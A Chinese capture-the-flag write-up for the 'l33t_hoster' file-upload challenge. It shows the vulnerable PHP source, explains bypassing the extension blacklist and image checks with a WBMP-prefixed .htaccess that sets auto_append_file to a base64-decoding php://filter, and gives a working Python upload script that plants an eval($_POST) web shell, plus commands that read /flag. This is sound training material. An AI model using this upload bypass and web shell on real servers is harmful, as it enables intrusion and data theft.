BMZCTF:insomniteaser_2019_l33t_hoster
http://bmzclub.cn/challenges#insomniteaser_2019_l33t_hoster
文件上传,/?source
回显源码
<?php
if (isset($_GET["source"])) die(highlight_file(__FILE__));session_start();if (!isset($_SESSION["home"])) {$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {mkdir($userdir);
}$disallowed_ext = array("php","php3","php4","php5","php7","pht","phtm","phtml","phar","phps",
);if (isset($_POST["upload"])) {if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {die("yuuuge fail");}$tmp_name = $_FILES["image"]["tmp_name"];$name = $_FILES["image"]["name"];$parts = explode(".", $name);$ext = array_pop($parts);if (empty($parts[0])) {array_shift($parts);}if (count($parts) === 0) {die("lol filename is empty");}if (in_array($ext, $disallowed_ext, TRUE)) {die("lol nice try, but im not stupid dude...");}$image = file_get_contents($tmp_name);if (mb_strpos($image, "<?") !== FALSE) {die("why would you need php in a pic.....");}if (!exif_imagetype($tmp_name)) {die("not an image.");}$image_size = getimagesize($tmp_name);if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {die("lol noob, your pic is not l33t enough");}$name = implode(".", $parts);move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";?>
- 黑名单:
php
、php3
、php4
、php5
、php7
、pht
、phtm
、phtml
、phar
、phps
- 上传的文件内容中不能有
<?
字样 - 必须是
exif_imagetype
中一种图片格式,且长宽得是1337*1337
规格的
因为这里服务器是Apache/2.4.18 (Ubuntu)
,所以第一个想到的是上传.htaccess
文件,在AllowOverride
开启的情况下,.htaccess
文件可以修改 PHP 能解析的文件后缀,但是这里要求上传exif_imagetype
中的图片格式,会检查图片开头,如果将正常图片的文件头放在exif_imagetype
中绕过检查,那样会影响.htaccess
的解析。最终在exif_imagetype中找到一种叫wbmp
的文件,该文件开头是0x00,0x00
,再加上宽度和高度内容很小,不会影响.htaccess
解析,这样就可以绕过黑名单和exif_imagetype
,但是还是无法绕过上传文件中不能有<?
字样
Apache2的配置文件中可以用php_value
来覆盖php.ini
的设置,而php.ini
中有一条设置:auto_append_file
,用来再所有php文件执行前先include
一个文件,而在include
中我们可以使用PHP流
。那么我们就可以先上传.htaccess
文件解析执行后缀名文件,在.htaccess
中设置auto_append_file
项,设置了之后就可以使用PHP流
,那么我们之后上传的shell文件就可以base64编码绕过关键字过滤,然后使用php://流
中的base64编码设置来解码shell内容然后解析
这里就直接利用Refer
里面的那个脚本
#!/usr/bin/env python3
import requests
import base64VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://www.bmzclub.cn:20351/"
RANDOM_DIRECTORY = "9541e8141d8a9e9b3b810a3560d4ad694a5a3db0"COOKIES = {"PHPSESSID" : "33eb9c27d8a983d935e15389ba99b05b"
}def upload_content(name, content):data = {"image" : (name, content, 'image/png'),"upload" : (None, "Submit Query", None)}response = requests.post(URL, files=data, cookies=COOKIES)HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=mochu7.jpg"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?phpecho "shell ok!";eval($_POST['mochu7']);
?>
""")upload_content("..htaccess", HT_ACCESS)
upload_content("mochu7.jpg", TARGET_FILE)response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/mochu7.jpg")
print(response.text)
然后访问/images/9541e8141d8a9e9b3b810a3560d4ad694a5a3db0/mochu7.jpg
shell拿到了,但是有很多disable_function
shell是废的,但是没有过滤scandir()
和file_get_contents()
,那就还可以浏览文件,根目录直接找到/flag
mochu7=var_dump(scandir('/'));
mochu7=var_dump(file_get_contents('/flag'));
Refer: https://tiaonmmn.github.io/2019/05/15/Insomni-hack-teaser-2019-l33-hoster/
BMZCTF:insomniteaser_2019_l33t_hoster相关推荐
- BMZCTF:个人所得税
http://www.bmzclub.cn/challenges#%E4%B8%AA%E4%BA%BA%E6%89%80%E5%BE%97%E7%A8%8E 很明显是SSTI,但是{{''.__cla ...
- BMZCTF:just_play
http://www.bmzclub.cn/challenges#just_play 打开是个小游戏,保存源码本地修改参数赢得比赛后发现没啥信息.继续观察发现 http://www.bmzclub.c ...
- BMZCTF:Fix it
http://bmzclub.cn/challenges#Fix%20it Fix_it.png 修复另外定位点即可,使用PS将右上这个定位点复制两个,移动到另外两个定位点的位置 然后将定位点外的一圈 ...
- BMZCTF:掘地三尺
http://bmzclub.cn/challenges#%E6%8E%98%E5%9C%B0%E4%B8%89%E5%B0%BA juedisanchi.doc打开隐藏文字,全选切换颜色 第一部分f ...
- BMZCTF:海量的txt文件
http://bmzclub.cn/challenges#%E6%B5%B7%E9%87%8F%E7%9A%84txt%E6%96%87%E4%BB%B6 大量txt文件 直接全局找一些关键字flag ...
- BMZCTF:BMP
http://bmzclub.cn/challenges#BMP 24.bmp 根据附件名称提示这应该是24位bmp文件,那么根据这个24位bmp文件的格式,图片大小为202800字节,即可计算 he ...
- BMZCTF:哆啦A梦
http://bmzclub.cn/challenges#%E5%93%86%E5%95%A6A%E6%A2%A6 对图片binwalk分析发现附加了另外一张png图片 这张png是一张底部被截掉了一 ...
- 转载:dbc文件格式解析
首发于 汽车ECU开发 写文章 dbc文件格式解析 小木子 关注他 10 人 赞同了该文章 dbc对于汽车工程师来说,应该说是很熟了,它是用于描述整车CAN通信矩阵的文件,包括CAN消息的ID定义 ...
- 大数据技术之_19_Spark学习_07_Spark 性能调优 + 数据倾斜调优 + 运行资源调优 + 程序开发调优 + Shuffle 调优 + GC 调优 + Spark 企业应用案例
大数据技术之_19_Spark学习_07 第1章 Spark 性能优化 1.1 调优基本原则 1.1.1 基本概念和原则 1.1.2 性能监控方式 1.1.3 调优要点 1.2 数据倾斜优化 1.2. ...
最新文章
- SDRAM 相关资料
- 7.7-9 chage、chpasswd、su
- 简单的了解一下AQS吧
- 使用nodejs构建Docker image最佳实践
- 看电影也花屏,谁是幕后元凶
- 用Eclipse开发项目,你不能不知道的快捷键
- 利用电脑上自带指纹识别嵌入程序中_Win 10 隐藏功能:不用任何软件就可实现手机投屏到电脑...
- 城市发展规律及未来走向进行认知与预测的机构
- DeFi史上最大盗窃案:一个漏洞盗走价值6亿美元资产?
- php写cms,浅谈thinkPHP,国内写CMS利用率最高的框架
- Dev gridView中设置自适应列宽和日期显示格式、金额的显示格式
- 十大Ajax框架(排名不分先后)
- java 加密工具包_加密工具类 - CryptoUtils.java
- 第十人理论 - 大前研一 - 专业主义
- csdn广告屏蔽方法
- drwxr-xr-x是啥意思
- cad断点快捷键_入门CAD必备,如何有效记住CAD快捷键
- 首批接入司法数据的网贷平台已拒贷3万余失信被执行人
- 卧操,女性私密数据曝光,原来富婆都在广西…
- 《好好学习》读书笔记心得感悟1400字